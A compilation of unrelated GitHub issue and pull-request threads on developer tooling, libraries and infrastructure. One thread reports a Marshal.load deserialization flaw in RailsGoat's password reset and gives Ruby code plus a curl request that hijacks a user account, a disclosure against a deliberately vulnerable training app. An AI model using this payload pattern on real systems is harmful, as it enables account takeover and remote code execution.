[feature request] add prompt styles support

There are many different styles of prompts for different LLMs, such like openai/llama2 style (especially support SYSTEM role prompt), pure text style, ziya, etc.
From the api_server.py 's parameter, we can see it just support the pure text style.
Maybe it will be a good feature to support these styles.

Thank you very much for your suggestion. We will support this feature very soon.

Also welcome a contribution from the community, thanks!

Is it possible to integrate in fastchat like vllm?
https://github.com/lm-sys/FastChat/blob/main/docs/vllm_integration.md

Hi, we have now added the /v1/chat/completions api, the usage is the same as that of openai.
We use fastchat to target different model types for different styles of prompt stitching.
Maybe you can give it a try.


Colour lost when using Node native test running (Node 18+)

When using the new native test runner, Debug does not colour the output, but it would be nice if it did by default:
import Debug from 'debug';
const debug = Debug('example');

debug('Test');

When this is run normally (DEBUG='*' node test.js) the output is coloured as normal, but when run in --test mode, it is not:
$ DEBUG='*' node --test test.js
2024-01-20T15:36:44.768Z example Test

A workaround is to force the colour (DEBUG_COLORS=1 DEBUG='*' node --test test.js) and this works fine, it's just it would be nice if the colours were on by default in the test runner, as that's where they are most useful.

We can't detect this reliably, unfortunately. The way that TTYs are modelled makes the "is this a TTY whereby I can emit colors" check very fragile to begin with, and the last thing you want is to pipe the output into a program that is doing something with the output in some meaningful way, as the color codes will almost certainly break it.
Unfortunately your problem is exactly why that environment variable exists. However if you're using npm or otherwise have a package.json typically put that sort of thing in the scripts there. If you're not, and this is for something in production, you'll have to set up a pseudoterminal, which is anything but straightforward.
If you do end up putting it in a script, I'd suggest prefixing it with env, as in env DEBUG_COLORS=1 DEBUG='*' ... for a bit more robustness.
Sorry I couldn't give you a better answer :/

No problem at all, thanks for the quick response!  A shame there's no way to detect it reliably but as you say, perhaps it is better to err on the side of caution than to provide output filled with escape codes when they are not supported.
As you suggested, I ended up putting the workaround in package.json as:
"scripts": {
   "test": "DEBUG='*' DEBUG_COLORS=1 tsx --test"
}

And so far so good, so I'll continue with that workaround.
Thanks again!


Karma doesn't load node_module/*/package.json to PhantomJS (404 Error)

I'm using Karma 0.13.22
Node v6.7.0
npm 3.10.3
and PhantomJS 2.1.1
Using the angular 2 seed as a basis and when I run npm test I receive the following error:
25 10 2016 20:08:29.857:INFO [PhantomJS 2.1.1 (Windows 7 0.0.0)]: Connected on socket 3G6Eu905pwciAA 3BAAAA with id 70262326 25 10 2016 20:08:30.128:WARN [web-server]: 404<EMAIL_ADDRESS>25 10 2016 20:08:30.131:WARN [web-server]: 404: /node_modules/@angular/platform-browser-dynamic/pack age.json PhantomJS 2.1.1 (Windows 7 0.0.0) ERROR: '(SystemJS) XHR error (404 Not Found) loading http://localh<EMAIL_ADDRESS>       Error loading<EMAIL_ADDRESS>I've tried including all json files in a pattern in my karma.conf.js, didn't work.
I have the correct baseURL and basePath as far as I can tell.
Any idea where I might look to resolve this issue?

@dawud-do look at proxy settings - http://karma-runner.github.io/1.0/config/configuration-file.html
Karma manage files under '/base' so you could try something like this
proxies: {
  '/node_modules/': '/base/node_modules/'
},

Thanks!


is hub/examples/image_retraining/retrain.py  can be used by tensorflow2.0?

Hello, I use the command :
python retrain.py  --image_dir ./flower_photos
with tensorflow2.0, and then get several error:
such as
AttributeError: module 'tensorflow' has no attribute 'app'
AttributeError: module 'tensorflow' has no attribute 'gfile'
etc
Can you tell me how to solve this problem?
Thanks very much

That file requires TF-1.x, but we revamped that script as a tool in tf-hub pip repository.
Have a look at:
https://github.com/tensorflow/hub/tree/master/tensorflow_hub/tools/make_image_classifier
Which is made for TF-2.x


Settlement works against the Base holding interface

Fixes https://github.com/digital-asset/daml-finance/issues/315
This (draft) PR rewrites the Settlement layer to work against the Base holding interface, so that settlement of lifecycle effects can happen on non-transferable holdings (provided we don't have to make an actual transfer to a new owner).
I didn't change all of the tests. only BondCoupon + Settlement
The pros:

P1 fewer coerceContractId needed in the scripts
P2 I can DebitSender and CreditReceiver a non-transferable holding

The cons:

C1 we coerceContractId to Lockable to verify locks and re-apply then to the credited holding
C2 we coerceContractID to Transferable in order to make an actual Transfer

If we are not fine with C1, we can

Make Settlement work against Lockable instead of the Base holding interface --> we lose C1 and P1

or,

Make the Base holding Lockable --> base holding becomes more complex but we lose C1

If we are not fine with C2, we can

Get rid of the Transferable interface

I think 3 makes sense because

the transferability of a holding is effectively being controlled by its account following https://github.com/digital-asset/daml-finance/pull/220
there is no delegation of trust happening in the holding Transfer choice (as far as I can see) so the choice only adds convenience

I think 2 also makes sense, given that otherwise we are unable to settle LC effects on non-lockable holdings.
As an alternative, I wonder if there's a way with Daml Exceptions to catch failed coerceContractId at run-time to either throw a better error message or decide whether to re-apply locks or not.
i am keen to hear your thoughts

I hoped that a coercion failure would raise a GeneralError exception, which can be caught using a catch, but it doesn't seem to be the case ...

When I moved the transfer logic to the account, I was thinking about 3 and 2 as well. It wouldn't be much left of the holding hierarchy, but I think that is fine.

regarding the coercion failure you mention ^, maybe we could use the fetchFromInterface to distinguish if it is lockable or not:
do
  fetchResult <- fetchFromInterface @MyTemplate ifaceCid
  case fetchResult of
    None -> abort "Failed to convert interface to appropriate template type"
    Some (tplCid, tpl) -> do
       ... do something with tpl and tplCid ...

As discussed, we are fine withe keeping C2 (coerce to Transferable).
C1 will be addressed in a subsequent PR


vdk-core: add vdk sql-query command

Add vdk sql-query command which will use the same database as the rest of the SQL interfaces (SQL steps, job_input methods)
This will replace the per-db commends like vdk impala-query, vdk sqlite-query which are just problematic.
This would enable to generalize a lot of the tutorials/examples we have which currently give impression they can be used only wiht "sqlite" (sqlite-query) or trino. Which is primary driver for doing the change now.
The command would be used in functional tests where you want to query the default db without needing ot create a job for that.
The command for now is hidden (hidden feature) since there are a few TODOs that would be resolved in subsequent PRs.

It pulls the database from env variables?
I actually don't really like that we use env variables instead of a config file.
Because then to run it on the cluster its not clear how to set the properties. Also its very much a "it works on my machine" situation.
It would be much nicer if it used the config.ini of the folder you are in?

It pulls the database from env variables? I actually don't really like that we use env variables instead of a config file. Because then to run it on the cluster its not clear how to set the properties. Also its very much a "it works on my machine" situation.
It would be much nicer if it used the config.ini of the folder you are in?

No, environment variables are just one source. Similar to how in spring variables can be auto-wired from application properties file or environment variables or system properties.
In VDK configuration variable can be auto-wired from env variables, from config.ini file ([vdk] section). With env variables having a higher precedence.
And in the future this would be extended.  I think most certainly some "global" local config would be needed (like ~/vdk/config in the spirit of ~/.aws/config) but we will see.
The tests themselves use environment variables because it's the easiest way to pass the configuration values in the test.
But the vdk sql-query re-uses the standard configuration process of VDK so whatever we decide to do it in the future it would continue to work without any changes here.


Missing VS403310: An inconsistency was detected in some of the files in the collection.

This page is missing an error that comes up pretty often recently:
VS403310: An inconsistency was detected in some of the files in the collection.
Let's add this to the docs (even if the answer is to contact support).

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: bff3fd07-3d7b-1244-88e4-c2cfbb3fa204
Version Independent ID: 63f4392f-2dc6-4620-a24f-c02070dd7115
Content: Troubleshoot migration import to Azure DevOps Services - Azure DevOps
Content Source: docs/migrate/migration-troubleshooting.md
Product: devops
Technology: devops-migrate
GitHub Login: @KathrynEE
Microsoft Alias: kaelli

@NenoLoje - Thank you for this feedback. I'll update the article later today.


Support providing custom buttons in about section

Signed-off-by: hossainemruz<EMAIL_ADDRESS>Issue

Fixes #610
Description
This allow user to provide custom button with resource links. For example, user can use this to provide link of their resume file. This lets user to provide multiple buttons with custom text.
Usage:
Add resourceLinks section in the about.yaml data file.
# You can put custom buttons to link your relevant resources.
# For example, you can put link for your resume.
resourceLinks:
- title: Resume
  url: "files/resume.pdf"

Test Evidence

@hossainemruz Thank you so much! A quick question: when I did this, the resume button itself disappeared.
I did like this:
# your resume. this file path should be relative to you "static" directory
resourcelinks:
- title: Resume
  url: "files/cv.pdf" # files directory
# resume: "files/cv.pdf" # files directory

where # resume: "files/cv.pdf" # files directory was the original code. What's wrong with this?

You have to update the theme to latest commit.

I also updated the theme; this is automatically done by the bot, tho

It is resourceLinks not resourcelinks.

Yup, thanks for catching that. I tried but still doesn't work
resourceLinks:
- title: Resume
  url: "files/iheo2022july.pdf"
# resume: "files/iheo2022july.pdf" # files directory

Your site is still using an old theme version. Check the commit hash.

Oh, didn't know that. Can you please direct me to the commit hash you mean? Or how can I manually update the version to the latest one?

Here are the latest commits: https://github.com/hugo-toha/toha/commits/main

Thanks so much! Then how can I manually update this without awaiting the bot?

https://stackoverflow.com/questions/5828324/update-git-submodule-to-latest-commit-on-origin?answertab=trending#tab-top

Greatly appreciate it!!

@hossainemruz The theme has been updated but still, the CV button does not appear. Can you please check?
# your resume. this file path should be relative to your "static" directory
resourceLinks:
- title: Resume
  url: "files/cv.pdf"
# resume: "files/cv.pdf" # files directory

The theme hasn't been updated. It is still using a version from Sept 2, 2021. Can you please check StackOverflow link I have provided and update the theme manually.

I greatly appreciate your time and kindness. I merged your PR, removed the local repo, and re-cloned the repository. When I rechecked my website, the 'Resume' button appeared but not the 'Curriculum Vitae' button. So, this does not work. Can you please check it, again? Let me know if I missed anything.

You have to change the title to Curriculum Vitae here: https://github.com/IhnwhiHeo/ihnwhiheo.github.io/blob/bb904668e4cdb749d368eb6caa890a551cf5ca96/data/en/sections/about.yaml#L19

Now this works perfectly! I cannot thank you enough. I appreciate your patience and help!!


chore: move fs access for historic search config to api category

Description of changes
move fs access for historic search config to api category.
Since previous state nodeToNodeEncryption is an input concern, as a result we should bound this concern into the api category.
CDK / CloudFormation Parameters Changed
N/A - no functional changes, we should still respect override, then historic context, then default to false for this resource.
Issue #, if available
N/A
Description of how you validated changes
Unit + e2e tests
Checklist

[x] PR description included
[x] yarn test passes

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Codecov Report

Merging #1526 (16f90c3) into main (4a66a95) will decrease coverage by 0.09%.
The diff coverage is 50.00%.

:exclamation: Your organization is not using the GitHub App Integration. As a result you may experience degraded service beginning May 15th. Please install the Github App Integration for your organization. Read more.
@@            Coverage Diff             @@
##             main    #1526      +/-   ##
==========================================
- Coverage   62.52%   62.43%   -0.09%
==========================================
  Files         360      359       -1
  Lines       21492    21427      -65
  Branches     5106     5088      -18
==========================================
- Hits        13437    13378      -59
+ Misses       7310     7304       -6
  Partials      745      745

Impacted Files
Coverage Δ

...mplify-graphql-transformer-core/src/utils/index.ts
100.00% <ø> (ø)

...api/src/graphql-transformer/transformer-factory.ts
44.06% <33.33%> (+0.10%)
:arrow_up:

...ackend-state/searchable-node-to-node-encryption.ts
43.24% <36.36%> (ø)

...-transformer/src/graphql-searchable-transformer.ts
91.58% <100.00%> (+0.71%)
:arrow_up:

...graphql-transformer-migrator/src/state-migrator.ts
100.00% <100.00%> (ø)

.../graphql-transformer-core/src/util/sanity-check.ts
16.38% <100.00%> (ø)

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

Closing this in favor of https://github.com/aws-amplify/amplify-category-api/pull/1527.


merge operation of BlockWorldState

https://github.com/khipu-io/khipu/blob/27f8e69f830010a475435def14fe90227989bd81/khipu-eth/src/main/scala/khipu/ledger/BlockWorldState.scala#L336
there are two laster.codes.contains(x) here, one of them should be laster.trieAccounts.logs.contains(x)

Good spot. Fixed. Until official announce, all changes will be git push -f. Thanks


Use fishtape for tests?

What do you think about porting your tests to Fishtape?
It tests itself as well as another large project I am working on right now, so far, so good.

Hi, thanks for the proposal.
Actually I would love to have an easier and more systematic way of testing at least fundle packages in general, as most packages are not tested.
So I think integrating a test framework for fundle itself, and to test fundle packages could be nice.
It could make it quite easy to have a fundle test command or something like this.
Do you think it would be possible to have fishtape installed with fundle?
I would love to be able to write
fundle plugin 'fisherman/fishtape'
fundle init
fundle install

fishtape path/to/tests/*.fish

in my tests, without having to worry more about installation.

Of course. Fishtape is framework agnostic, it's meant to be installed as a standalone function (or /usr/local/ binary).

@bucaran Seems to be working nice!

Now just for fun:
npm install tap-nyan

and pipe fishtape TAP stream to get

for free.

Yeah, I saw there are plenty of cool consumers for tap! :smile:

:+1:


Create default sort for content fields??

What is the default sort when creating content content in custom content?
I am now building the order is "
《序号Number (Numeric Field)
↓
员工工号Worker Number (Text Field)
↓
姓名Name (Text Field)
↓
性别Gender (Enumeration Field)
↓
部门Sector (Text Field)
↓
职位Job (Text Field)
" Why is the default not sorted up and down in order??
(PS:  It seems to be anti-human practice??)

Adding field to Content Parts can not set field attribute information？？？

Use Placement.info to reorder the fields in the front end, but usually devs write their own template directly. You can also use Query projections.


Dependency on AspNetCoreApp

Describe the bug
There is a dependency on AspNetCoreApp on versions above of 2.3.0 for the package Steeltoe.Extensions.Configuration.ConfigServerCore
Steps to reproduce
Steps to reproduce the behavior:

Create a .Net Core Project based on Console or worker service template
Add Docker support
Install Steeltoe.Extensions.Configuration.ConfigServerCore on your project
Use Config server in your project
Debug App on Docker

Expected behavior
Debugging App using docker successfully
Environment (please complete the following information):

Platform: Microsoft Visual Studio Community 2019 Version 16.4.5
OS: Windows
.NET Core 3.1
Steeltoe Version: 2.4.0

Source Code
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.Hosting;
using Steeltoe.Extensions.Configuration.ConfigServer;
namespace WorkerService1
{
    public class Program
    {
        public static void Main(string[] args)
        {
            CreateHostBuilder(args).Build().Run();
        }

        public static IHostBuilder CreateHostBuilder(string[] args) =>
            Host.CreateDefaultBuilder(args)
                .AddConfigServer()
                .ConfigureServices((hostContext, services) =>
                {
                    services.AddHostedService<Worker>();
                });
    }
}

Dockerfile
FROM mcr.microsoft.com/dotnet/core/runtime:3.1-buster-slim AS base
WORKDIR /app

FROM mcr.microsoft.com/dotnet/core/sdk:3.1-buster AS build
WORKDIR /src
COPY ["WorkerService1/WorkerService1.csproj", "WorkerService1/"]
RUN dotnet restore "WorkerService1/WorkerService1.csproj"
COPY . .
WORKDIR "/src/WorkerService1"
RUN dotnet build "WorkerService1.csproj" -c Release -o /app/build

FROM build AS publish
RUN dotnet publish "WorkerService1.csproj" -c Release -o /app/publish

FROM base AS final
WORKDIR /app
COPY --from=publish /app/publish .
ENTRYPOINT ["dotnet", "WorkerService1.dll"]

Error Output
You may only use the Microsoft .NET Core Debugger (vsdbg) with
Visual Studio Code, Visual Studio or Visual Studio for Mac software
to help you develop and test your applications.
-------------------------------------------------------------------
It was not possible to find any compatible framework version
The framework 'Microsoft.AspNetCore.App', version '3.1.0' was not found.
  - No frameworks were found.

You can resolve the problem by installing the specified framework and/or SDK.

The specified framework can be found at:
  - https://aka.ms/dotnet-core-applaunch?framework=Microsoft.AspNetCore.App&framework_version=3.1.0&arch=x64&rid=debian.10-x64
The target process exited without raising a CoreCLR started event. Ensure that the target process is configured to use .NET Core. This may be expected if the target process did not run on .NET Core.
The program 'dotnet' has exited with code 150 (0x96).

All of the Steeltoe packages with names ending in Core were built for ASP.NET Core, but it does look like some of the functionality could be moved to Base packages, namely the extension you're using here. I will see what I can do

There's a wrinkle with the initial idea I had, in that we'd need to add a reference to Microsoft.Extensions.Hosting in ConfigServerBase or any other package we try to make this move. I'm not sure that's the best choice in our 2.x line, as that would bring that package and its dependencies in for lots of applications that don't need it. I'm inclined to defer further investigation on that until we find some other need, and suggest that change would be better suited for Steeltoe 3.x.
Something that will work right now however, would be to make these changes:

Use Steeltoe.Extensions.Configuration.ConfigServerBase instead of ConfigServerCore
Use the IConfigurationBuilder extension instead of IHostBuilder

Host.CreateDefaultBuilder(args)
         .ConfigureAppConfiguration(builder => builder.AddConfigServer())

Given there's a solution to the immediate problem and lack of definition around a larger scoped problem, I'm going to close the issue ~ please feel free to reopen if the proposed solution doesn't end up working for you or if there's more to say here

Thank you @TimHess, understood! Thanks for all your help


Too much Latency!

I plan on using this for ASR spelling correction but the latency is too much for even the smallest model.
Is there a work around or potential solution for this?

I have problem installing elmo
i'm using docker image https://hub.docker.com/layers/pytorch/pytorch/1.6.0-cuda10.1-cudnn7-runtime/images/sha256:9c3aa4653f6fb6590acf7f49115735be3c3272f4fa79e5da7c96a2c901631352
how could you run the code?


Fix eob decision/computation in quantizer

Fix a off by one error in the eob calculation. We were treating eob
as if it didn't include the dc value except for one place. When we
found no ac values below our deadzone, we would try to quantize one ac
value.
Rework quantize so that eob is related both dc and ac values. We can
now return the precalculated eob.
Add a debug_assert for the eob.

https://beta.arewecompressedyet.com/?job=master-b6952b9a664606aa4d62088354c8a215f8ee3787&job=eob_precalculation1%402019-12-30T18%3A57%3A24.391Z
   PSNR | PSNR Cb | PSNR Cr | PSNR HVS |    SSIM | MS SSIM | CIEDE 2000
-0.1420 |  1.0591 |  0.9424 |  -0.0691 | -0.1227 | -0.0231 |     0.1238

 maseck: If no one else has looked at 2007, it LGTM.


Feature/ju 139 terraform for ecs

CI: No IaC security warnings found

CI: No security warnings found


Undocumented Reset Password Vulnerability?

If this was intentional, there isn't a spec for it under the vulnerabilities directory nor is it called out in the tutorials.
The reset_password action in PasswordResetsController is vulnerable to arbitrary code execution via Marshal.load (see security warning in Marshal documentation) and is easily used to modify users beyond just their password.
Here is an example attack that changes the email and password of a user:
# Dump an ActiveRecord object with the needed attributes for a User.
# This can be done in the railsgoat project or from another Rails 3.2 project by
# creating a User class with the required fields (id, user_id, created_at, updated_at)
# and the additional fields you want to change.

# Assuming a table named 'users' with id, user_id, created_at, updated_at, and email
# as columns exists
class User < ActiveRecord::Base; end
user = User.new(id: 5, user_id: 5)
user.save
user.email =<EMAIL_ADDRESS>
# Loading an existing user if in the railsgoat rails console will also work
# user = User.last
# user.email =<EMAIL_ADDRESS>
Base64.strict_encode64(Marshal.dump(user))
# => "BAhvOglVc2VyEDoQQGF0...

curl --data "user=<base64_encoded_object>&password=password&confirm_password=password" http://localhost:3000/password_resets

Added
https://github.com/OWASP/railsgoat/wiki/Extras:-Remote-Code-Execution


[Hub Generated] Review request for Microsoft.IoTCentral to add version stable/2021-06-01

This is a PR generated at OpenAPI Hub. You can view your work branch via this link.
Changelog
Add a changelog entry for this PR by answering the following questions:

What's the purpose of the update?

[ ] new service onboarding
[ ] new API version
[x] update existing version for new feature
[ ] update existing version to fix swagger quality issue in s360
[ ] Other, please clarify

When are you targeting to deploy the new service/feature to public regions? Please provide the date or, if the date is not yet available, the month. September 2021.
When do you expect to publish the swagger? Please provide date or, the the date is not yet available, the month. October/November 2021.
If updating an existing version, please select the specific langauge SDKs and CLIs that must be refreshed after the swagger is published.

[ ] SDK of .NET (need service team to ensure code readiness)
[ ] SDK of Python
[ ] SDK of Java
[ ] SDK of Js
[ ] SDK of Go
[ ] PowerShell
[ ] CLI
[ ] Terraform
[x] No refresh required for updates in this PR

Contribution checklist:

[ ] I commit to follow the Breaking Change Policy of "no breaking changes"
[ ] I have reviewed the documentation for the workflow.
[ ] Validation tools were run on swagger spec(s) and errors have all been fixed in this PR. How to fix?

If any further question about AME onboarding or validation tools, please view the FAQ.
ARM API Review Checklist

Applicability: :warning:
If your changes encompass only the following scenarios, you should SKIP this section, as these scenarios do not require ARM review.

Change to data plane APIs
Adding new properties
All removals

Otherwise your PR may be subject to ARM review requirements. Complete the following:

[ ] Check this box if any of the following apply to the PR so that label “WaitForARMFeedback” will be added automatically to begin ARM API Review. Failure to comply may result in delays to the manifest.

Adding a new service
Adding new API(s)
Adding a new API version
-[ ] To review changes efficiently, ensure you copy the existing version into the new directory structure for first commit and then push new changes, including version updates, in separate commits.

[ ] Ensure you've reviewed following guidelines including ARM resource provider contract and REST guidelines. Estimated time (4 hours). This is required before you can request review from ARM API Review board.

[ ] If you are blocked on ARM review and want to get the PR merged with urgency, please get the ARM oncall for reviews (RP Manifest Approvers team under Azure Resource Manager service) from IcM and reach out to them.

Breaking Change Review Checklist
If any of the following scenarios apply to the PR, request approval from the Breaking Change Review Board as defined in the Breaking Change Policy.

[ ] Removing API(s) in a stable version
[ ] Removing properties in a stable version
[ ] Removing API version(s) in a stable version
[x] Updating API in a stable or public preview version with Breaking Change Validation errors
[ ] Updating API(s) in public preview over 1 year (refer to Retirement of Previews)

Action: to initiate an evaluation of the breaking change, create a new intake using the template for breaking changes. Addition details on the process and office hours are on the Breaking change Wiki.
Please follow the link to find more details on PR review process.

/azp run unifiedPipeline

We are adding "identity" to the request/response models in order to support Managed Identity (MI) in IoT Central APIs listed in the swagger spec. The api-version of 2021-06-01 is being updated in this PR.  MI is part of the feature that was planned for release in this api-version. We had S360 compliance issues that required merging the PR first, then deploying MI changes to the services in prod, and then updating swagger. Thus, this breaking change is being done intentionally and will not affect customers (no customers are using this api-version in prod via SDK).

We are adding "identity" to the request/response models in order to support Managed Identity (MI) in IoT Central APIs listed in the swagger spec. The api-version of 2021-06-01 is being updated in this PR. MI is part of the feature that was planned for release in this api-version. We had S360 compliance issues that required merging the PR first, then deploying MI changes to the services in prod, and then updating swagger. Thus, this breaking change is being done intentionally and will not affect customers (no customers are using this api-version in prod via SDK).

Adding properties to an existing resource type without a version change is a REST breaking change, so even if no customers are using the API via SDK, they could be broken if they are using it via REST. If you want to add the property without a version change, you will need to go through breaking change review. I'll add the breaking change label. If you prefer to go with a new API version, that would need to come via a new PR, since the first commit needs to be the unchanged current API version files copied to the new API version folder.

Added breaking change intake: https://msazure.visualstudio.com/One/_workitems/edit/11049939

Added breaking change intake: https://msazure.visualstudio.com/One/_workitems/edit/11049939

Remember to join the weekly azure breaking change meeting on every Monday with this PR link + the intake you did and explain to them why this isn't a breaking change. Thanks!

Azure Breaking changes team has approved this change.
I have validated that no external customers use the API changes using the logs:
 MicroserviceEvent
| where env_time > ago(1d)
| where env_cloud_role == "service-rp"
| where operationName == "ResourceProviderService::CreateApplication"
| where eventType == "common.incoming-service-request.v0"
| extend json = parse_json(['metadata'])['requestHeaders']
| extend requestAppId = tostring(parse_json(json['x-ms-client-app-id']))
| extend requestTenantId = tostring(parse_json(json['x-ms-client-tenant-id']))
| extend requestObjectId = tostring(parse_json(json['x-ms-client-object-id']))
| extend requestPuid = tostring(parse_json(json['x-ms-client-puid']))
| extend requestPrincipalId = tostring(parse_json(json['x-ms-client-principal-id']))
| where resourceId contains "api-version=2021-06-01"
| summarize count() by env_cloud_role, requestAppId


Network: Adds support for external subnets for OVN networks

Adds validation for OVN network's subnet that checks whether it is within the allowed uplink and project networks when disabling NAT.
Allows for instance IPs on OVN networks to be published to the external uplink network (when in no NAT mode).

@stgraber just wanted to check something with this PR, I've validated the OVN NIC's addresses against the OVN network's ipv4.routes.external and ipv6.routes.external setting to check if they should be considered for uplink publishing. This avoids mistakes by accidentally configuring an OVN network with an address in the allowed subnets list (and disabling NAT) and inadvertently creating an external network. However I wanted to check whether you had envisaged instead that in this scenario ipv{n}.routes.external wouldn't need to be set on the OVN network, and instead we would validate the OVN NIC's IPs against both the uplink network's routes and the project's restricted subnets on each instance start.

Ok, so completely doing away with ipv4.routes.external and ipv6.routes.external on OVN network and either using:

ipv4.address/ipv6.address + no-NAT to give external addressing to the network
ipv4.routes.external/ipv6.routes.external on the NIC itself

That should work fine and would remove an intermediary step, but we'll need to be careful with validation, effectively ensuring that the requested route isn't included/overlap/conflict with any of:

Networks ipv4.address/ipv6.address
Any other instance's ipv4.routes.external/ipv6.routes.external in the project

@stgraber yep that will be fine, but just want to check, as the originally design specified that an admin would delegate one or more external subnets for use with on OVN NICs (at least for their external routes).
"it's up to the user in the project to assign that entire allocation or a subset of it to one of their networks by setting the ipv4.routes.external key on the network"
Now, for the scenario this PR deals with (allocating an external subnet directly to an OVN network), this is still implicitly happening by disabling NAT and setting the ipv4.address to an external subnet.
But for the earlier scenario, where OVN NICs themselves have external routes added to them, they will now be able to mix and match between any of the subnets available on the uplink network (filtered by the project restrictions).
This is technically fine, but just want to check that the user level who will be doing this is the same as the one who will create the OVN network. I was wondering where the original feature for assigning subnets to OVN networks came from? Thanks

@stgraber based on our convo, this updates OVN networks to be validated against the uplink routes and project restricted subnets when NAT mode is disabled. It also adds support for publishing the NIC's IPs onto the uplink network when NAT is disabled.
Because the NIC static addresses are already validated that they belong in the OVN network, now that we validate that the OVN network's subnet itself is allowed in both the uplink and project, this should ensure OVN NICs cannot publish IPs they shouldn't.
I'll follow up with a PR to remove the ipv{n}.routes.external keys from OVN networks and NICs next.

Testsuite passed

Testsuite passed


microk8s not working on ARM64 Ubuntu 22.04 - microk8s status goes on infinitely

Summary
I am trying to install microk8s on a ARM64 Ubuntu 22.04 build. The snap installs without any errors but when I look at the microk8s services, it does not seem to be running. I ran the inspect command and it does not show any errors, can you please help
Report is attached.
~ microk8s status
microk8s is not running. Use microk8s inspect for a deeper inspection.
~ microk8s inspect
Inspecting system
Inspecting Certificates
Inspecting services
Service snap.microk8s.daemon-cluster-agent is running
Service snap.microk8s.daemon-containerd is running
Service snap.microk8s.daemon-kubelite is running
Service snap.microk8s.daemon-k8s-dqlite is running
Service snap.microk8s.daemon-apiserver-kicker is running
Copy service arguments to the final report tarball
Inspecting AppArmor configuration
Gathering system information
Copy processes list to the final report tarball
Copy snap list to the final report tarball
Copy VM name (or none) to the final report tarball
Copy disk usage information to the final report tarball
Copy memory usage information to the final report tarball
Copy server uptime to the final report tarball
Copy current linux distribution to the final report tarball
Copy openSSL information to the final report tarball
Copy network configuration to the final report tarball
Inspecting kubernetes cluster
Inspect kubernetes cluster
Inspecting dqlite
Inspect dqlite
Building the report tarball
Report tarball is at /var/snap/microk8s/3712/inspection-report-20220829_131308.tar.gz
What Should Happen Instead?
microk8s status --wait-ready should return a running response
Reproduction Steps

install microk8s as described in the tutorial
run microk8s status --wait-ready - nothing happens and it keeps on waiting infinitely

Introspection Report
~ microk8s status
microk8s is not running. Use microk8s inspect for a deeper inspection.
~ microk8s inspect
Inspecting system
Inspecting Certificates
Inspecting services
Service snap.microk8s.daemon-cluster-agent is running
Service snap.microk8s.daemon-containerd is running
Service snap.microk8s.daemon-kubelite is running
Service snap.microk8s.daemon-k8s-dqlite is running
Service snap.microk8s.daemon-apiserver-kicker is running
Copy service arguments to the final report tarball
Inspecting AppArmor configuration
Gathering system information
Copy processes list to the final report tarball
Copy snap list to the final report tarball
Copy VM name (or none) to the final report tarball
Copy disk usage information to the final report tarball
Copy memory usage information to the final report tarball
Copy server uptime to the final report tarball
Copy current linux distribution to the final report tarball
Copy openSSL information to the final report tarball
Copy network configuration to the final report tarball
Inspecting kubernetes cluster
Inspect kubernetes cluster
Inspecting dqlite
Inspect dqlite
Building the report tarball
Report tarball is at /var/snap/microk8s/3712/inspection-report-20220829_131308.tar.gz
Can you suggest a fix?

Are you interested in contributing with a fix?

Hey @niksacdev,
Sorry to hear that you are having trouble with your installation. Could you please attach the tarball generated by the microk8s inspect command?
Thanks.

I ran into this issue when I selected microk8s during installation of Ubuntu 22.04 LTS [Step: Featured Server Snaps].
Not selecting during Ubuntu installation but installing via sudo snap install microk8s --classic --channel=1.25/stable resolved it.


Missing makeshift weapons

We're missing a lot of the makeshift weapons, like plasma shard spears, plasteel baseball bats and shiv's.

Adds more makeshift weapons, #45


Add the ability to include journal pdf into compendiums

Is your feature request related to a problem? Please describe.
When I drag & drop a pdf-journal entry into a new compendium, I cant open the pdf-journal from inside the compendium, no pdf is loaded, only an option for text/image, see image:

Describe the solution you'd like
To be able to create compendiums with journals/pdfs, so that we can export to modules that we can activate in other worlds.

Is there a reason why you are unable or unwilling to drag the PDFs into the world? Currently this is the supported behavior. I could feasibly permit this but it's a significant amount of complexity for little gain.

For the same reason I do compendiums for items, to be used in all my scenarios just by loading a module that contains the compendiums I use for all my games.
In all my games of, say CoC, I use the same inventories (items compendium), the same skills (skills compendium), the same character templates (character compendium), and the same set of pdfs that contains tables, rules summary, combat flow pdf, 1920's calendar, etc. (pdfs compendium). You can use pdfs for a lot of things that you can carry out between scenarios of the same system, for example, the corebook divided by chapters, or an index of journals pointing to specific pages of the same pdf -> multiple journals which would be boring to recreate one and every adventure you run.
I have around 10 pdfs that I load in every CoC scenario, that's why I asked for this feature, to incorporate all those pdfs to the same module I have the rest of CoC stuff and load it in every CoC scenario.
When I asked I thougth it was in fact a bug, but since It seems to be a complex new feature to implement, just consider it.

Alright thanks for the feedback. It's a common use case so it makes sense to do eventually. For the time being you can import the PDFs from the compendium and they SHOULD work.

Alright thanks for the feedback. It's a common use case so it makes sense to do eventually. For the time being you can import the PDFs from the compendium and they SHOULD work.

Yes. that what I currently do, I create the compendium pdfs and when I have to use journal-pdfs in another world, I just import them and it works, I know it is not optimal, but at least it works.
Thank you, great work!!!

I hope this can be looked into some day, it would be really useful for packing rules and cheatsheets

I hope this can be looked into some day, it would be really useful for packing rules and cheatsheets

Also based on current research, everything in the Journal tab get's preloaded for all players, even if no permissions are giving. It is usually advised that people use Compendiums for storing long-term content, to avoid cluttering the server.

Also based on current research, everything in the Journal tab get's preloaded for all players, even if no permissions are giving. It is usually advised that people use Compendiums for storing long-term content, to avoid cluttering the server.


cmd/vendor: pull in framepointer vet analysis pass

The framepointer analysis pass was checked into x/tools at CL 248686. We need to vendor that into the stdlib so it can be used by vet.

Not sure how to make this work. I do
$ cd GOROOT/src/cmd
$ go get -d golang.org/x/tools@latest
$ go mod tidy
$ go mod vendor

It succeeds, but the framepointer package doesn't appear. Only the ifaceassert package gets updated. So it is doing something, but not what I need it to do.
It also looks like the previous import was done on 2020/11/10, which is after the framepointer analysis pass was checked in (which was 11/2). So it didn't make it in then either.
Anyone understand what is going on?
@dmitshur

My understanding is that go mod vendor only brings in required packages, and cmd/vet/main.go does not import golang.org/x/tools/go/analysis/passes/framepointer.

There are 28 subdirectories of src/cmd/vendor/golang.org/x/tools/go/analysis/passes, but 44 subdirectories in https://godoc.org/golang.org/x/tools/go/analysis/passes.

Ah, so I need to import a nonexistent package first, and then run the vendor tool.

I think so.  And you probably need to pass framepointer.Analyzer to unitchecker.Main.

Ok, thanks, making progress now.


Library restructure

Description

Related Issue

Tasks

[ ] I have signed the CLA.
